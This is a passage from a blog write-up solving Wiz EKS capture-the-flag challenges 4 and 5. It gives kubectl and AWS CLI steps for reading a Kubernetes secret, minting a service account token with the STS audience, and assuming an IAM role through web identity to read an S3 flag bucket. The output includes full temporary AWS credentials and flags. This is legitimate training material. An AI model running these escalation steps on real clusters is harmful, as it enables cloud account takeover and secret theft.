$ export K8S_AUTH_TOKEN="<token here>"

to check permission changed or not try listing the pods

1
2
$ kubectl get pods --token $K8S_AUTH_TOKEN
No resources found in challenge4 namespace.

yes permissions are changed now.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
kubectl auth can-i --list --token $K8S_AUTH_TOKEN
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs   Resource Names     Verbs
serviceaccounts/token                           []                  [debug-sa]         [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []                 [create]
pods                                            []                  []                 [get list]
secrets                                         []                  []                 [get list]
serviceaccounts                                 []                  []                 [get list]
                                                [/api/*]            []                 [get]
                                                [/api]              []                 [get]
                                                [/apis/*]           []                 [get]
                                                [/apis]             []                 [get]
                                                [/healthz]          []                 [get]
                                                [/healthz]          []                 [get]
                                                [/livez]            []                 [get]
                                                [/livez]            []                 [get]
                                                [/openapi/*]        []                 [get]
                                                [/openapi]          []                 [get]
                                                [/readyz]           []                 [get]
                                                [/readyz]           []                 [get]
                                                [/version/]         []                 [get]
                                                [/version/]         []                 [get]
                                                [/version]          []                 [get]
                                                [/version]          []                 [get]
podsecuritypolicies.policy                      []                  [eks.privileged]   [use]

we can list the secret.

1
2
3
4
5
6
$ kubectl get secrets --token $K8S_AUTH_TOKEN
NAME        TYPE     DATA   AGE
node-flag   Opaque   1      356d
$ kubectl get secrets node-flag -o jsonpath='{.data.flag}' --token $K8S_AUTH_TOKE
N | base64 --decode
wiz_eks_challenge{only_a_real_pro_can_navigate_IMDS_to_EKS_congrats}

SOLVED!!

  • In this task, you’ve acquired the Node’s service account credentials. For future reference, these credentials will be conveniently accessible in the pod for you. Fun fact: The misconfiguration highlighted in this challenge is a common occurrence, and the same technique can be applied to any EKS cluster that doesn’t enforce IMDSv2 hop limit.

Container Secrets Infrastructure

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

IAM Policy

Trust Policy

Permissions allowed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

As per the permissions, lets see what we have. Only service accounts are there, and permission to create serviceaccount’s token

1
2
3
4
5
$ kubectl get serviceaccounts
NAME          SECRETS   AGE
debug-sa      0         356d
default       0         356d
s3access-sa   0         356d

right now we are debug-sa and we need to become s3access-sa, so lets describe s3access-sa service account

1
2
3
4
5
6
7
8
9
10
11
$  kubectl get sa s3access-sa -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
  creationTimestamp: "2023-10-31T20:07:34Z"
  name: s3access-sa
  namespace: challenge5
  resourceVersion: "671916"
  uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda

interesting, role is attached. Probably this is the role we need to assume. lets give it a try.

1
2
3
$ aws sts assume-role --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::688655246681:role/challengeEksS3Role

Umm… can’t assume the role directly.

  • Initial attempt to use aws s3 assume-role doesn’t work because our k8s node IAM role does not have permissions to directly assume the challengeEksS3Role.
  • However, when using a k8s service account with an associated IAM role via OIDC, we can asume the role by using the service account’s Web Identity Token.

Okay, so lets try to create token from debug-sa to assume the role:

1
$ export TOKEN=$(kubectl create token debug-sa)

now try assuming role using this token.

1
2
3
$ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5 --web-identity-token $TOKEN

An error occurred (InvalidIdentityToken) when calling the AssumeRoleWithWebIdentity operation: Incorrect token audience

The default audience for a token created with kubectl is https://kubernetes.default.svc which amazon doesn’t seem to like. In trust policy sts.amazonaws.com audience is given, lets create token again with this.

1
$ export TOKEN=$(kubectl create token debug-sa --audience sts.amazonaws.com)

lets assume again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5 --web-identity-token $TOKEN
{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVMZDYLD4CY",
        "SecretAccessKey": "AyBaql1yXC3Y3kOsci3bC/PPmx3INc7K+d26DV65",
        "SessionToken": "IQoJb3JpZ2luX2VjED8aCXVzLXdlc3QtMSJIMEYCIQCeoXIzYGQMS4wue3q+2sCMaw0me1DJmp2iDnXmwqtZZgIhAOCxPJFloK3eAN1GMLgGz6IyQRYeo70/foqbD3G4RU7IKsQECKj//////////wEQARoMNjg4NjU1MjQ2NjgxIgz5qnX06+1pocsunHUqmAR8uOTdWXxnuba1YHmHHq82ruJRt04Y5zGQYD8JNQDDRAXMMcHlp9CnNktzVGTyMZj3O9p60DTqXlCq+sidETRbXSGXf0ZD2WxmTTMctVN3dHquB7tyISsUB2dlCDKgvD3k6tfJiIqTzbtu/do7NfGTEGaIoLLTpubJGlTv7E3Pa/D46FiH30nTajZK+lupQex62hiJaeRs1MKrga23PAOjIMBGn+adccXpeC05aksrVreYi1TvklaBsw3za5+M4Q+5UVlCwOTgi7kXhI9GF8+KwOn4NbZouU26Gdl0LdEQ59wXjh4i1FfH4FBxxovi2NY7HIkLEJZMaIfh0iDQ4+eMyAf5s0S/stcB9bC3onh7mRA1l5+lTiY9hfeZfSJJK1uRwKAb+++p5PltekrxxK2aVG1trFDdicUh8InfuPuD4KONw93oaX3tagrPNDcCfH1Txng33ioCGa6HY94wtzL4HzKoqvIa+FudGVSACDfKFacnfOAKL7F+VsWuyebuFl8VFGUQ6nTpq1sQmTKujmg4b/u/besPsqQ8qq6qAMqaGd3uwrHpbGARFaqIcLr0Q9WSgDLvznLlj99AvLgLdOOF6DNyg04owcas83USjX3GGoFO0ggmguFEf56N2fwib4ieTwaAtqZVOdsvFQqkAB2UGtR2hIBP/ksNXHGNL3mgmfBqZOesRC0skvWWdD/9/1slBZ9+Sy77JjDY+t64BjqUAc2Rev7bcHAo4P72WTfKIyV4lAEDLih4wjdvGwmDAF0RxxQN7VSnpaMxbAO9iJua9vaodqojhtHGit6MQ7fXOZWgQH7Vn7tnx7RWcamW4UPJxtCz7XG4kzH02RE6wvy+DJdDvUAcClCgtvtW9sX3pU8nsI1lLHtsxvlm2u6TYRojhQWaptj4f2IjNEyHoF8d6BHERmY=",
        "Expiration": "2024-10-22T15:57:28+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:challenge5",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

configure them in aws cli. Finally s3Access-sa role is assumed. In IAM policy we have s3 bucket name, lets extract that

1
2
3
4
$ aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag .
download: s3://challenge-flag-bucket-3ff1ae2/flag to ./flag  
$ cat flag
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}

SOLVED!!

Feel free to connect with me to discuss on cloud security or DevSecOps.

This post is licensed under CC BY 4.0 by the author.

Trending Tags